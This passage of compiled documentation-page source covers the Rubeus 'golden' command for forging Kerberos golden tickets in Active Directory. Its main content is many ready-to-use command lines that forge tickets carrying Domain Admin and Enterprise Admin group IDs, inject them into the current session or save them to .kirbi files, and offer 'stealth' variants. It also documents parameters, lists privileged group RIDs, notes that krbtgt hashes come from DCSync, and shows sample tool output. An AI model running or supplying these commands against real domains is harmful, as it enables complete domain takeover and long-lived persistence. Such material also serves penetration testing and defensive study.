timing`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:S-1-5-21-123456789-987654321-111111111`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /aes256:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:512,513,518,519`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /endtime:\"12/31/2025 23:59:59\"`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`Stealth Ticket`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Realistic user with limited groups`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:normaluser`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:S-1-5-21-123456789-987654321-111111111`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /aes256:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:513`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /id:1001`})]}),`\n`]})})})]})}),_jsx(Tab,{title:`LDAP Mode`,id:`ldap-mode`,children:_jsxs(CodeGroup,{children:[_jsx(CodeBlock,{filename:`Automatic LDAP Discovery`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Let Rubeus gather domain information automatically`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`LDAP with Overrides`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# LDAP discovery with manual overrides`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /aes256:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /groups:512,519`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /endtime:\"06/01/2025 12:00:00\"`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`Specific Domain Controller`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Target specific DC for LDAP queries`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /dc:dc01.corp.local`})]}),`\n`]})})})]})}),_jsx(Tab,{title:`Output \u0026 Injection`,id:`output-%26-injection`,children:_jsxs(CodeGroup,{children:[_jsx(CodeBlock,{filename:`Save and Inject`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Create ticket and apply immediately`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:domain_sid`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ptt`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`File Output`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Save ticket for later use`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /domain:corp.local`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /sid:domain_sid`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /aes256:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /outfile:golden.kirbi`})]}),`\n`]})})}),_jsx(CodeBlock,{filename:`Command Generation`,numberOfLines:`2`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`2`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Generate command for execution`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Rubeus.exe`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` golden`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user:admin`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /rc4:krbtgt_hash`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /ldap`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /printcmd`})]}),`\n`]})})})]})})]}),`\n`,_jsx(Heading,{level:`2`,id:`required-parameters`,children:`Required Parameters`}),`\n`,_jsxs(ParamField,{path:`user`,type:`string`,required:true,id:`param-user`,children:[_jsx(_components.p,{children:`Username for the forged ticket`}),_jsx(Expandable,{title:`Username Options`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Real Users`}),`: Use existing domain accounts for stealth`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Fake Users`}),`: Create non-existent users (still works)`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Administrative`}),`: Target high-privilege account names`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`Service Accounts`}),`: Impersonate service accounts`]}),`\n`]})})]}),`\n`,_jsx(Heading,{level:`2`,id:`krbtgt-authentication`,children:`KRBTGT Authentication`}),`\n`,_jsxs(Expandable,{title:`Hash Types`,icon:`hashtag`,defaultOpen:true,children:[_jsx(ParamField,{path:`des`,type:`string`,id:`param-des`,children:_jsx(_components.p,{children:`DES-CBC-MD5 hash (legacy, not recommended)`})}),_jsxs(ParamField,{path:`rc4`,type:`string`,id:`param-rc4`,children:[_jsx(_components.p,{children:`RC4-HMAC hash (NTLM format)`}),_jsx(Tooltip,{tip:`Most commonly obtained hash type from DCSync attacks`,children:`Format: 32-character hexadecimal string`})]}),_jsxs(ParamField,{path:`aes128`,type:`string`,id:`param-aes128`,children:[_jsx(_components.p,{children:`AES128-CTS-HMAC-SHA1-96 key`}),_jsx(Tooltip,{tip:`Provides stronger encryption than RC4`,children:`Preferred for environments with AES encryption`})]}),_jsxs(ParamField,{path:`aes256`,type:`string`,id:`param-aes256`,children:[_jsx(_components.p,{children:`AES256-CTS-HMAC-SHA1-96 key (recommended)`}),_jsx(Tooltip,{tip:`Strongest encryption option available`,children:`Best choice for stealth and modern environments`})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`domain-information`,children:`Domain Information`}),`\n`,_jsxs(Expandable,{title:`Manual Configuration`,icon:`cog`,children:[_jsxs(ParamField,{path:`domain`,type:`string`,id:`param-domain`,children:[_jsx(_components.p,{children:`Target domain name (FQDN format)`}),_jsx(Tooltip,{tip:`Example: corp.local`,children:`Use fully qualified domain name`})]}),_jsxs(ParamField,{path:`sid`,type:`string`,id:`param-sid`,children:[_jsx(_components.p,{children:`Domain Security Identifier`}),_jsx(Expandable,{title:`SID Discovery Methods`,children:_jsx(CodeBlock,{filename:``,numberOfLines:`8`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`8`,children:[_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# PowerShell method`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`Get-ADDomain`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:` |`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:` Select-Object`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` DomainSID`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Using whoami`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`whoami`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` /user`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsx(_components.span,{className:`line`,children:_jsx(_components.span,{style:{color:`#6E7781`,\"--shiki-dark\":`#6A9955`},children:`# Using wmic`})}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`wmic`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` useraccount`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` where`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` name='Administrator'`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` get`}),_jsx(_components.span,{style:{color:`#0A3069`,\"--shiki-dark\":`#CE9178`},children:` sid`})]}),`\n`]})})})})]}),_jsxs(ParamField,{path:`netbios`,type:`string`,id:`param-netbios`,children:[_jsx(_components.p,{children:`NetBIOS domain name (optional)`}),_jsx(Tooltip,{tip:`Usually the short domain name (e.g., CORP)`,children:`Default: derived from domain parameter`})]})]}),`\n`,_jsxs(Expandable,{title:`LDAP Automatic Discovery`,icon:`search`,children:[_jsxs(ParamField,{path:`ldap`,type:`boolean`,id:`param-ldap`,children:[_jsx(_components.p,{children:`Automatically gather domain information via LDAP`}),_jsx(Tooltip,{tip:`Retrieves domain SID, groups, and other required information`,children:`Recommended for ease of use`})]}),_jsx(ParamField,{path:`dc`,type:`string`,id:`param-dc`,children:_jsx(_components.p,{children:`Specific domain controller for LDAP queries`})})]}),`\n`,_jsx(Heading,{level:`2`,id:`ticket-customization`,children:`Ticket Customization`}),`\n`,_jsxs(Expandable,{title:`User Identity`,icon:`user`,children:[_jsxs(ParamField,{path:`id`,type:`number`,id:`param-id`,children:[_jsx(_components.p,{children:`User ID (RID) for the ticket`}),_jsx(Tooltip,{tip:`Default: 500 (Administrator RID)`,children:`Common values: 500 (Admin), 1000+ (Regular users)`})]}),_jsx(ParamField,{path:`displayname`,type:`string`,id:`param-displayname`,children:_jsx(_components.p,{children:`Full display name for the user`})}),_jsxs(ParamField,{path:`groups`,type:`string`,id:`param-groups`,children:[_jsx(_components.p,{children:`Comma-separated list of group RIDs`}),_jsx(Expandable,{title:`Common Group RIDs`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`512`}),`: Domain Admins`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`513`}),`: Domain Users`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`518`}),`: Schema Admins`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`519`}),`: Enterprise Admins`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.strong,{children:`520`}),`: Group Policy Creator Owners`]}),`\n`]})})]}),_jsx(ParamField,{path:`pgid`,type:`number`,id:`param-pgid`,children:_jsx(_components.p,{children:`Primary Group ID (default: 513 - Domain Users)`})})]}),`\n`,_jsxs(Expandable,{title:`Timing Configuration`,icon:`clock`,children:[_jsxs(ParamField,{path:`authtime`,type:`string`,id:`param-authtime`,children:[_jsx(_components.p,{children:`Authentication time (default: now)`}),_jsx(Tooltip,{tip:`Format: MM/DD/YYYY HH:MM:SS`,children:`When the ticket was supposedly issued`})]}),_jsx(ParamField,{path:`starttime`,type:`string`,id:`param-starttime`,children:_jsx(_components.p,{children:`Ticket start time (default: now)`})}),_jsxs(ParamField,{path:`endtime`,type:`string`,id:`param-endtime`,children:[_jsx(_components.p,{children:`Ticket expiration time`}),_jsx(Tooltip,{tip:`Default: 10 years from now`,children:`Format: MM/DD/YYYY HH:MM:SS`})]}),_jsx(ParamField,{path:`renewtill`,type:`string`,id:`param-renewtill`,children:_jsx(_components.p,{children:`Renewable until time (default: 10 years)`})})]}),`\n`,_jsxs(Expandable,{title:`Advanced Options`,icon:`cog`,children:[_jsxs(ParamField,{path:`flags`,type:`string`,id:`param-flags`,children:[_jsx(_components.p,{children:`Ticket flags (default: 0x40e10000)`}),_jsx(Expandable,{title:`Common Flags`,children:_jsxs(_components.ul,{children:[`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`0x40e10000`}),` - Standard forwardable, renewable ticket`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`0x60a10000`}),` - Include name canonicalize`]}),`\n`,_jsxs(_components.li,{children:[_jsx(_components.code,{children:`0x40a50000`}),` - Delegation-capable ticket`]}),`\n`]})})]}),_jsx(ParamField,{path:`uac`,type:`string`,id:`param-uac`,children:_jsx(_components.p,{children:`User Account Control flags`})}),_jsx(ParamField,{path:`sids`,type:`string`,id:`param-sids`,children:_jsx(_components.p,{children:`Additional SIDs to include`})}),_jsx(ParamField,{path:`oldpac`,type:`boolean`,id:`param-oldpac`,children:_jsx(_components.p,{children:`Use legacy PAC format for compatibility`})})]}),`\n`,_jsx(Heading,{level:`2`,id:`output-options`,children:`Output Options`}),`\n`,_jsxs(Expandable,{title:`Ticket Output`,icon:`file-export`,children:[_jsx(ParamField,{path:`outfile`,type:`string`,id:`param-outfile`,children:_jsx(_components.p,{children:`Save forged ticket to file (.kirbi format)`})}),_jsxs(ParamField,{path:`ptt`,type:`boolean`,id:`param-ptt`,children:[_jsx(_components.p,{children:`Pass-the-ticket: inject forged ticket immediately`}),_jsx(Tooltip,{tip:`Applies the golden ticket to your current session`,children:`Enables immediate use of forged credentials`})]}),_jsxs(ParamField,{path:`printcmd`,type:`boolean`,id:`param-printcmd`,children:[_jsx(_components.p,{children:`Print command line for ticket creation`}),_jsx(Tooltip,{tip:`Useful for saving commands for later execution`,children:`Generates reusable command syntax`})]})]}),`\n`,_jsx(Heading,{level:`2`,id:`response-format`,children:`Response Format`}),`\n`,_jsxs(Tabs,{children:[_jsxs(Tab,{title:`Successful Creation`,id:`successful-creation`,children:[_jsx(CodeBlock,{filename:``,numberOfLines:`31`,language:`shellscript`,children:_jsx(_components.pre,{className:`shiki shiki-themes github-light-default dark-plus`,style:{backgroundColor:`#ffffff`,\"--shiki-dark-bg\":`#0B0C0E`,color:`#1f2328`,\"--shiki-dark\":`#D4D4D4`},language:`shellscript`,children:_jsxs(_components.code,{language:`shellscript`,numberOfLines:`31`,children:[_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Action: Build TGT`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Building PAC`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Domain `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` CORP.LOCAL (`}),_jsx(_components.span,{style:{color:`#953800`,\"--shiki-dark\":`#DCDCAA`},children:`CORP`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`)`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] SID `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` S-1-5-21-1234567890-987654321-111111111`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] UserId `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 500`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Groups `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` 512,513,518,519,520`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] ServiceKey `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` aes256_key_here`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] ServiceKeyType `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` aes256_cts_hmac_sha1`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] KDCKey `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` aes256_key_here`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] KDCKeyType `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` aes256_cts_hmac_sha1`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Service `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` krbtgt`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Target `}),_jsx(_components.span,{style:{color:`#0550AE`,\"--shiki-dark\":`#DCDCAA`},children:`:`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:` CORP.LOCAL`})]}),`\n`,_jsx(_components.span,{className:`line`}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Generating EncTicketPart`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Signing PAC`})]}),`\n`,_jsxs(_components.span,{className:`line`,children:[_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`[`}),_jsx(_components.span,{style:{color:`#CF222E`,\"--shiki-dark\":`#D4D4D4`},children:`*`}),_jsx(_components.span,{style:{color:`#1F2328`,\"--shiki-dark\":`#D4D4D4`},children:`] Encrypting 